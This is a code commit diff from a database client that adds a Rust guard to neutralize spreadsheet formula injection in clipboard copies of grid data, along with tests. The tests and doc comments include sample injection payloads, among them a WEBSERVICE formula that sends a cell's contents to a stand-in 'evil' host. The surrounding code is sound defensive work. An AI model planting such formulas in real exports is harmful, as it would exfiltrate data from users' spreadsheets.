25 MB lightweight cross-platform database client for 100+ databases, including MySQL, PostgreSQL, SQLite, Redis, MongoDB, DuckDB, SQL Server, and Dameng. Built-in AI, MCP Server, CLI, desktop and Docker. | 轻量级跨平台数据库管理工具,支持 MySQL、PostgreSQL、SQLite、Redis、MongoDB、达梦等 100+ 数据库,提供桌面端、Docker、CLI、内置 AI 助手和 MCP。
TypeScript aicliclickhousedatabasedatabase-clientdatabase-managementdockerguimcpmongodbmysqlpostgresqlredisrustsql-serversqlitetaurivue
fix(grid): neutralize spreadsheet formulas in clipboard output
ordinary being0d8bf3941467
diff --git a/crates/dbx-core/src/data/grid_clipboard_guard.rs b/crates/dbx-core/src/data/grid_clipboard_guard.rsnew file mode 100644index 0000000000..6e91b977e6--- /dev/null+++ b/crates/dbx-core/src/data/grid_clipboard_guard.rs@@ -0,0 +1,248 @@+//! Spreadsheet-formula neutralization for the data grid clipboard writers.+//!+//! #10542 neutralized formula injection in the CSV/TSV **file** exporters. The grid's+//! clipboard writers are a separate code path (`dbx_sql::data_grid_extractors`), so a+//! cell copied out of the grid and pasted into Excel was still emitted verbatim:+//! `=WEBSERVICE("https://evil")` executed on paste. This module closes that gap.+//!+//! The guard is applied to the **cell values before extraction** rather than to the+//! rendered output, so no delimited text has to be re-parsed. That keeps this module+//! free of any knowledge of separators, quote policies, the NULL sentinel, or+//! per-extractor escaping rules: the extractors keep owning all of that, and only the+//! text they are about to treat as a spreadsheet cell is prefixed.+//!+//! `dbx_sql_data` cannot depend on `dbx_formats` (the workspace enforces a one-way+//! boundary between those two leaf crates), so this shim lives one level up in+//! `dbx-core`, which already depends on `dbx-formats` and re-exports+//! `data_grid_extractors`. It calls the same `push_formula_guard` the file exporters+//! use, so the clipboard and file paths share one predicate and cannot drift.+//!+//! Only the extractors whose output lands in a spreadsheet are guarded. SQL, JSON,+//! XML, HTML, Markdown and the raw extractor must stay byte-exact: prefixing a SQL+//! statement or a JSON document would corrupt it.++use dbx_formats::csv_export::needs_formula_guard;+use dbx_sql::data_grid_extractors::{DataGridExtractRequest, DataGridExtractorId};+use serde_json::Value;++/// Extractors whose output is pasted straight into a spreadsheet cell grid.+///+/// TSV is the grid's default multi-cell copy and is the most exposed of these: Excel+/// evaluates any pasted field that starts with a trigger character. `PipeSeparated`+/// and `Dsv` are the same shape. The one-row and CSV writers are RFC4180 records, so+/// Excel treats their fields the same way.+fn is_spreadsheet_extractor(extractor: DataGridExtractorId) -> bool {+ matches!(+ extractor,+ DataGridExtractorId::Tsv+ | DataGridExtractorId::TsvWithHeaders+ | DataGridExtractorId::Csv+ | DataGridExtractorId::CsvWithHeaders+ | DataGridExtractorId::PipeSeparated+ | DataGridExtractorId::Dsv+ | DataGridExtractorId::OneRow+ )+}++/// Returns the request with spreadsheet-triggering text cells prefixed by `'`.+///+/// This is a no-op for every non-spreadsheet extractor, and for numbers, booleans and+/// NULL (which never start with a trigger character and must keep their JSON types so+/// the extractors' numeric formatting is unchanged).+pub fn neutralize_spreadsheet_formulas(mut request: DataGridExtractRequest) -> DataGridExtractRequest {+ if !is_spreadsheet_extractor(request.extractor) {+ return request;+ }++ // Column headers are pasted into the same sheet and are plain strings.+ for column in &mut request.columns {+ if needs_formula_guard(&column.display_name) {+ column.display_name.insert(0, '\'');+ }+ }++ for row in &mut request.rows {+ for cell in row.iter_mut() {+ guard_string_cell(cell);+ }+ }++ request+}++/// Prefixes a text cell in place. Non-string values are left untouched: a JSON number+/// such as `-4` is data, not a formula, and the extractors already render it without+/// quotes. Arrays and objects are rendered as JSON by the extractors and start with+/// `[` or `{`, so they can never trigger a formula either.+fn guard_string_cell(cell: &mut Value) {+ let Value::String(text) = cell else {+ return;+ };+ if needs_formula_guard(text) {+ text.insert(0, '\'');+ }+}++#[cfg(test)]+mod tests {+ use super::*;+ use dbx_sql::data_grid_extractors::{DataGridExtractColumn, DataGridSelectionKind};+ use serde_json::json;++ fn request(extractor: DataGridExtractorId, rows: Vec<Vec<Value>>) -> DataGridExtractRequest {+ DataGridExtractRequest {+ version: dbx_sql::data_grid_extractors::DATA_GRID_EXTRACTOR_CONTRACT_VERSION,+ extractor,+ database_type: None,+ identifier_quote: None,+ table_meta: None,+ columns: vec![DataGridExtractColumn {+ display_name: "value".to_string(),+ source_name: Some("value".to_string()),+ source_index: 0,+ }],+ selected_column_indexes: vec![0],+ rows,+ selection_kind: DataGridSelectionKind::Cells,+ options: Default::default(),+ }+ }++ fn neutralize(extractor: DataGridExtractorId, rows: Vec<Vec<Value>>) -> Vec<Value> {+ neutralize_spreadsheet_formulas(request(extractor, rows)).rows.into_iter().flatten().collect()+ }++ #[test]+ fn spreadsheet_extractors_neutralize_every_trigger_character() {+ // The OWASP character set, plus the leading-space bypass it also documents.+ for value in ["=1+1", "+cmd", "-cmd", "@SUM(1)", "\tcmd", "\rcmd", " =cmd", " -cmd"] {+ for extractor in [+ DataGridExtractorId::Tsv,+ DataGridExtractorId::TsvWithHeaders,+ DataGridExtractorId::Csv,+ DataGridExtractorId::CsvWithHeaders,+ DataGridExtractorId::PipeSeparated,+ DataGridExtractorId::Dsv,+ DataGridExtractorId::OneRow,+ ] {+ let out = neutralize(extractor, vec![vec![json!(value)]]);+ assert_eq!(out[0], json!(format!("'{value}")), "extractor {extractor:?} must neutralize {value:?}");+ }+ }+ }++ #[test]+ fn non_spreadsheet_extractors_stay_byte_exact() {+ // A leading apostrophe would corrupt SQL, JSON and markup.+ for extractor in [+ DataGridExtractorId::SqlInList,+ DataGridExtractorId::SqlInserts,+ DataGridExtractorId::SqlUpdates,+ DataGridExtractorId::SqlSelect,+ DataGridExtractorId::WhereClause,+ DataGridExtractorId::Json,+ DataGridExtractorId::JsonLines,+ DataGridExtractorId::Xml,+ DataGridExtractorId::Html,+ DataGridExtractorId::Markdown,+ DataGridExtractorId::Raw,+ ] {+ let out = neutralize(extractor, vec![vec![json!("=1+1")]]);+ assert_eq!(out[0], json!("=1+1"), "extractor {extractor:?} must not be guarded");+ }+ }++ #[test]+ fn text_without_a_trigger_character_is_untouched() {+ // A phone number written with a leading apostrophe is the common case the+ // exporter already doubles; here only the trigger set is neutralized.+ for value in ["plain", "a=b", "1'2", "'plain", "[email protected]", "", "NULL", " plain"] {+ let out = neutralize(DataGridExtractorId::Tsv, vec![vec![json!(value)]]);+ assert_eq!(out[0], json!(value), "{value:?} must not be guarded");+ }+ }++ #[test]+ fn non_text_values_keep_their_json_type() {+ // Numbers must not gain an apostrophe: they are data, and the extractors+ // render them without quotes.+ let out = neutralize(+ DataGridExtractorId::Tsv,+ vec![vec![json!(-4), json!(0.5), json!(true), Value::Null, json!([1, -2])]],+ );+ assert_eq!(out[0], json!(-4));+ assert_eq!(out[1], json!(0.5));+ assert_eq!(out[2], json!(true));+ assert_eq!(out[3], Value::Null);+ assert_eq!(out[4], json!([1, -2]));+ }++ #[test]+ fn spreadsheet_headers_are_neutralized() {+ for extractor in [DataGridExtractorId::TsvWithHeaders, DataGridExtractorId::CsvWithHeaders] {+ let mut request = request(extractor, vec![vec![json!(1)]]);+ request.columns[0].display_name = "-total".to_string();+ let guarded = neutralize_spreadsheet_formulas(request);+ assert_eq!(guarded.columns[0].display_name, "'-total", "extractor {extractor:?}");+ }+ }++ #[test]+ fn non_spreadsheet_headers_are_untouched() {+ let mut request = request(DataGridExtractorId::SqlInserts, vec![vec![json!(1)]]);+ request.columns[0].display_name = "-total".to_string();+ let guarded = neutralize_spreadsheet_formulas(request);+ assert_eq!(guarded.columns[0].display_name, "-total");+ }++ /// End-to-end: what the clipboard writer actually emits. Without the guard this+ /// is what Excel evaluates on paste.+ #[test]+ fn grid_clipboard_output_no_longer_carries_an_executable_formula() {+ let payload = "=WEBSERVICE(\"https://evil/?d=\"&A1)";+ for (extractor, separator) in [(DataGridExtractorId::Tsv, "\t"), (DataGridExtractorId::PipeSeparated, "|")] {+ // The first cell is a plain id; the second is the injected formula.+ let mut request = request(extractor, vec![vec![json!(1), json!(payload)]]);+ request.columns[0].source_index = 0;+ request.selected_column_indexes = vec![0, 1];+ request.columns.push(DataGridExtractColumn {+ display_name: "formula".to_string(),+ source_name: Some("formula".to_string()),+ source_index: 1,+ });+ let guarded = neutralize_spreadsheet_formulas(request);+ let result = dbx_sql::data_grid_extractors::extract_data_grid_selection(guarded)+ .expect("plain delimited extraction");++ assert_eq!(result.text, format!("1{separator}'{payload}"));+ // The dangerous shape must no longer appear at the start of any field.+ assert!(+ !result.text.contains(&format!("{separator}{payload}")),+ "extractor {extractor:?} left an executable field: {:?}",+ result.text+ );+ }+ }++ /// The guard must not disturb the quoting rules the extractors already own.+ #[test]+ fn grid_clipboard_keeps_existing_escaping_and_null_behavior() {+ // TSV emits an embedded quote verbatim; the guard is orthogonal to that.+ let guarded = neutralize_spreadsheet_formulas(request(DataGridExtractorId::Tsv, vec![vec![json!(r#""abc""#)]]));+ let result = dbx_sql::data_grid_extractors::extract_data_grid_selection(guarded).expect("TSV extraction");+ assert_eq!(result.text, "\"abc\"");++ // NULL still becomes the bare sentinel, not a guarded string.+ let guarded = neutralize_spreadsheet_formulas(request(+ DataGridExtractorId::Csv,+ vec![vec![Value::Null], vec![json!("NULL")]],+ ));+ let result = dbx_sql::data_grid_extractors::extract_data_grid_selection(guarded).expect("CSV extraction");+ assert_eq!(result.text, "NULL\n\"NULL\"");++ // A negative number must stay a number: no apostrophe is added.+ let guarded = neutralize_spreadsheet_formulas(request(DataGridExtractorId::Tsv, vec![vec![json!(-4)]]));+ let result = dbx_sql::data_grid_extractors::extract_data_grid_selection(guarded).expect("TSV extraction");+ assert_eq!(result.text, "-4");+ }+}diff --git a/crates/dbx-core/src/data/mod.rs b/crates/dbx-core/src/data/mod.rsindex 4d4a6dfcf3..760e9f8d51 100644--- a/crates/dbx-core/src/data/mod.rs+++ b/crates/dbx-core/src/data/mod.rs@@ -5,6 +5,7 @@ pub mod data_compare;pub mod database_export;pub mod docs;pub mod export_runtime;+pub mod grid_clipboard_guard;pub mod mongodb_dump;pub mod mongodb_import_export;pub mod query_result_export;diff --git a/crates/dbx-web/src/routes/query.rs b/crates/dbx-web/src/routes/query.rsindex 01275beb48..e9d92c5556 100644--- a/crates/dbx-web/src/routes/query.rs+++ b/crates/dbx-web/src/routes/query.rs@@ -1189,17 +1189,22 @@ pub async fn extract_data_grid_selection(Json<dbx_core::data_grid_extractors::DataGridExtractResult>,(axum::http::StatusCode, Json<dbx_core::data_grid_extractors::DataGridExtractError>),> {- tokio::task::spawn_blocking(move || dbx_core::data_grid_extractors::extract_data_grid_selection(req.request))- .await- .map_err(|error| {- let error = dbx_core::data_grid_extractors::DataGridExtractError::new(- dbx_core::data_grid_extractors::DataGridExtractErrorCode::ExecutionFailed,- format!("Data grid extractor worker failed: {error}"),- );- (axum::http::StatusCode::INTERNAL_SERVER_ERROR, Json(error))- })?- .map(Json)- .map_err(|error| (axum::http::StatusCode::BAD_REQUEST, Json(error)))+ tokio::task::spawn_blocking(move || {+ // Cells pasted from the grid land in a spreadsheet, so formula-triggering text+ // is neutralized before the extractor renders it (see dbx_core::data::grid_clipboard_guard).+ let request = dbx_core::data::grid_clipboard_guard::neutralize_spreadsheet_formulas(req.request);+ dbx_core::data_grid_extractors::extract_data_grid_selection(request)+ })+ .await+ .map_err(|error| {+ let error = dbx_core::data_grid_extractors::DataGridExtractError::new(+ dbx_core::data_grid_extractors::DataGridExtractErrorCode::ExecutionFailed,+ format!("Data grid extractor worker failed: {error}"),+ );+ (axum::http::StatusCode::INTERNAL_SERVER_ERROR, Json(error))+ })?+ .map(Json)+ .map_err(|error| (axum::http::StatusCode::BAD_REQUEST, Json(error)))}pub async fn build_data_grid_copy_update_statements(diff --git a/src-tauri/src/commands/query.rs b/src-tauri/src/commands/query.rsindex e17eb44cc9..8d37197fae 100644--- a/src-tauri/src/commands/query.rs+++ b/src-tauri/src/commands/query.rs@@ -833,14 +833,19 @@ pub async fn extract_data_grid_selection(request: dbx_core::data_grid_extractors::DataGridExtractRequest,) -> Result<dbx_core::data_grid_extractors::DataGridExtractResult, dbx_core::data_grid_extractors::DataGridExtractError>{- tauri::async_runtime::spawn_blocking(move || dbx_core::data_grid_extractors::extract_data_grid_selection(request))- .await- .map_err(|error| {- dbx_core::data_grid_extractors::DataGridExtractError::new(- dbx_core::data_grid_extractors::DataGridExtractErrorCode::ExecutionFailed,- format!("Data grid extractor worker failed: {error}"),- )- })?+ tauri::async_runtime::spawn_blocking(move || {+ // Cells pasted from the grid land in a spreadsheet, so formula-triggering text+ // is neutralized before the extractor renders it (see dbx_core::data::grid_clipboard_guard).+ let request = dbx_core::data::grid_clipboard_guard::neutralize_spreadsheet_formulas(request);+ dbx_core::data_grid_extractors::extract_data_grid_selection(request)+ })+ .await+ .map_err(|error| {+ dbx_core::data_grid_extractors::DataGridExtractError::new(+ dbx_core::data_grid_extractors::DataGridExtractErrorCode::ExecutionFailed,+ format!("Data grid extractor worker failed: {error}"),+ )+ })?}#[tauri::command]